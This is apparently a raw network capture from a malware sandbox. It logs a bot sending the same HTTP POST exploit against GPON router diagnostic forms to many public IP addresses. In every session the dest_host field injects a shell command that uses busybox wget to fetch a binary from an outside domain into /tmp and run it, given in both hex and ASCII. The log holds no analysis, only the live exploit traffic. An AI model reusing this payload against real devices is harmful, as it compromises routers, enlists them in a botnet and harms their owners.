Apr 14, 2024 04:00:06.236088991 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
769	192.168.2.23	59086	94.53.30.228	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236131907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
770	192.168.2.23	33176	212.52.161.73	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236150026 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
771	192.168.2.23	40566	5.92.234.3	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236193895 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
772	192.168.2.23	56638	37.97.4.28	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236241102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
773	192.168.2.23	44218	148.34.40.220	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236277103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
774	192.168.2.23	42190	79.134.156.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236309052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
775	192.168.2.23	42886	118.89.118.151	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236337900 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
776	192.168.2.23	35722	210.248.31.255	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236362934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
777	192.168.2.23	37516	148.197.18.253	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236401081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
778	192.168.2.23	50650	42.239.27.128	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236434937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
779	192.168.2.23	48752	5.130.57.48	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236479998 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
780	192.168.2.23	46744	202.41.241.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236512899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
781	192.168.2.23	47572	202.224.233.96	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236557961 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
782	192.168.2.23	59682	42.139.55.241	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236594915 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
783	192.168.2.23	33182	5.23.191.198	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236632109 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
784	192.168.2.23	52406	94.53.21.177	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236666918 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
785	192.168.2.23	50060	42.24.208.30	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236710072 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
786	192.168.2.23	36292	118.247.151.221	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236747980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
787	192.168.2.23	36918	109.106.129.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236785889 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
788	192.168.2.23	44568	148.95.183.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236803055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
789	192.168.2.23	45050	2.151.251.61	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236851931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
790	192.168.2.23	54740	212.197.24.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236877918 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
791	192.168.2.23	51700	5.252.122.87	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236903906 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
792	192.168.2.23	59830	202.192.155.111	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236948967 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
793	192.168.2.23	34482	148.204.28.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:06.236989975 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
